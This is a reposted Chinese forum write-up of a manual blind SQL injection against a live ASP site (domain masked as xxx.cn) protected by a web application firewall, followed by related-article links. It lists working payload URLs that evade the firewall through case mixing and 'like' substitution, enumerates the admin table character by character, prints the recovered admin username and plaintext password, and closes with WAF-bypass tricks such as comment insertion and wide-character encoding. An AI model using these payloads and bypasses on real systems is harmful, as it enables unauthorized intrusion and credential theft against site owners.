转载自sss安全论坛

目标站点:http://www.xxx.cn:88
注入点:
http://www.xxx.cn:88/new/details1.asp?n_id=49909
对其进行检测:http://www.xxx.cn:88/new/details1.asp?n_id=49909

发现有waf,测试and 1=1 和 and 1=2 , and 和 = 也被检测出来,

尝试大写like代替and

Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And 1 like 1

Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And 1 like 2

可的结论,此waf并不能检测出大写语句,那么开始注入:
首先判断数据库:
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(1) from sysobject)>0
Ps(发现waf能检测出*,这里count(1)代替count(*))
 
 
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(1) from msysobjects)>0
结论:是sqlsever数据库
猜解表名
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(1) from admin)>0
 
有表:admin
那么猜测表admin中的字段
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(admin) from admin)>0
 
 
 
经过猜解得到 admin,user,password三个字段
猜解字长
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 len(admin) from admin)>5
 
 
 
 
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 len(admin) from admin)>6:
 
 

... Select Top 1 len(admin) from admin)>5 返回正常
... Select Top 1 len(admin) from admin)>6 返回错误 说明len(admin)=6
以相同的方法得到len(password)=10,len(user)=3

猜解字段的值:
与猜解字段同理
Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,1,1)) from admin)>119 返回正确
Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,1,1)) from admin)>120 返回错误
说明admin字段记录的第一个字符打ascii是120
Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,N,1)) from admin)>n N [1,6]
依次测出admin六个字符的ascii值,查表得 admin=xuancb
根据上述方法测的password=118000jjtu, user=dbo (数据库管理员)
扫到后台后用admin和password登录

心得:在手工测试中无可避免地要与waf...打交道,是件很头疼的事,但机器总归机器,我们灵活运用大小写混杂、注释符混杂、多重编码、等价替换等方法还是可以绕过的。
大小写混杂: and----->And,select->Select,...
注释符混杂(安全狗可过):and/**a*/order by ,union/**a*/select...
宽字符:当网站对 ’ 转义 / ’ 时,使用%5d’ 会被编码两次 打到注入目的。
一些常见的等见 “=” = like, and = && , or = ||

这篇文章还是很不错的一个典型bypass waf的案例。涨姿势了。

一次手工注入waf [转载]的更多相关文章

  1. [转载] MySQL数据库5.X版本基本手工注入总结

    MySQL数据库5.X版本基本手工注入总结 根据我对MySQL的认识,注入时,基本可以通过爆.盲注.报错三种方式获得用户名和密码,在权限足够的情况下,还可以直接通过SQL语句插入并导出我们的一句话we ...

  2. 记一次MySQL手工注入

    本来想找个装安全狗的站试下绕过,safe dog没找到,但随便一搜搜到一个小站有SQLi,正好借此机会复习下手工注入(新版Firefox我吐槽一下,hackbar这么好用的工具,说阉割就阉割,哎) 小 ...

  3. SQL注入之手工注入

    手工注入 用的是墨者学院的靶场:传送门 涉及以下数据库: MySQL.Access.SqlServer(MSSQL).SQLite.MongoDB.Db2(IBM).PostgreSQL.Sybase ...

  4. baby sqli 联合查询加入数据 手工注入

    0x00 BabySQli 原题目描述:刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码! 登陆页面,查看源码后点进search.php看到一段可疑的句子MMZFM42 ...

  5. 学习笔记 MSSQL显错手工注入

    和朋友一起学习,速度就是快.感谢珍惜少年时. 网上很多都在长篇大论MSSQL显错手工注入,其实原理只有一小段.如下: ' and (查询一段内容)=1 and 'C'='Cnvarchar类型(查询一 ...

  6. ASP+ACCESS手工注入详解

    SQL注入这么长时间,看见有的朋友还是不会手工注入,那么我来演示一下.高手略过. 我们大家知道,一般注入产生在没经过虑的变量上,像ID?=XX这样的. 下面以这个网址为例: http://zsb.xx ...

  7. sql server手工注入

    sql server手工注入 测试网站testasp.vulnweb.com 1. http://testasp.vulnweb.com/showforum.asp?id=0 http://testa ...

  8. sqlServer2008 手工注入

    接着上一篇的<mysql手工注入> 参考:http://hi.baidu.com/ciqing_s/item/971bf994365130accc80e5ed http://hi.baid ...

  9. 小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入

    SQL手工注入 靶机:metasploitable(低)  1.当无权读取infomation_schema库[MySQL最重要的源数据库,必须有root权限]/拒绝union.order by语句 ...

随机推荐

  1. VC6.0中MFC界面换肤简例

    利用VC中的MFC进行界面设计时,发现界面上的各控件无法简易地进行调整,比如字体大小.颜色.格式等. 为了改变外观,小小地美化一下,今天决定动手一试. 网上提供的库和方法不计其数,我选择了SkinMa ...

  2. 喝咖啡写脚本,顺便再加一点点CSS语法糖 2.五分钟学会Less

    CoffeeScript + Html5 + Less这个新组合,看上去Less更容易拿下,先尝尝糖吧. Less这么小个东西,竟然要FQ,真是没有天理,简直不可理喻,先不管那么多了,那就看这个吧.h ...

  3. xml基本操作

    在实际项目中遇到一些关于xml操作的问题,被逼到无路可退的时候终于决定好好研究xml一番.xml是一种可扩展标记语言,可跨平台进行传输,因此xml被广泛的使用在很多地方. 本文由浅入深,首先就xml的 ...

  4. 通过Ajax——异步获取相关问题解答

    问题呈现: 解决方案: dataType定义的是接收的值的类型,及controller控制器返回什么类型的值,这就写成什么类型, 我写的是return content("...") ...

  5. 每天一个linux命令(34):kill命令

    Linux 中的kill命令用来终止指定的进程(terminate a process)的运行,是Linux下进程管理的常用命令.通常,终止一个前台进程可以 使用Ctrl+C键,但是,对于一个后台进程 ...

  6. Web前端开发Chrome插件

    参考:http://www.cnblogs.com/sosoft/p/3490481.html 越来越多的前端开发人员喜欢在Chrome里开发调试代码,Chrome有许多优秀的插件可以帮助前端开发人员 ...

  7. 关闭浏览器后Session失效原因分析

    参考文章:http://www.tuicool.com/articles/VNbYjqm 首先需要理解一下几点: 1.Http是无状态的,即对于每一次请求都是一个全新的请求,服务器不保存上一次请求的信 ...

  8. 【BZOJ 3674】可持久化并查集加强版&【BZOJ 3673】可持久化并查集 by zky 用可持久化线段树破之

    最后还是去掉异或顺手A了3673,,, 并查集其实就是fa数组,我们只需要维护这个fa数组,用可持久化线段树就行啦 1:判断是否属于同一集合,我加了路径压缩. 2:直接把跟的值指向root[k]的值破 ...

  9. url的编码问题

    JQuery中 编码 var url = 'folder/index.html?param=#23dd&noob=yes'; var encodedUrl = encodeURICompone ...

  10. bzoj 1491 floyd

    我们用w[i][j]表示i到j的最短路的数量,dis[i][j]表示i到j的最短路,那么我们在floyd的时候,如果dis[i][k]+dis[k][j]==dis[i][j],根据乘法原理我们就w[ ...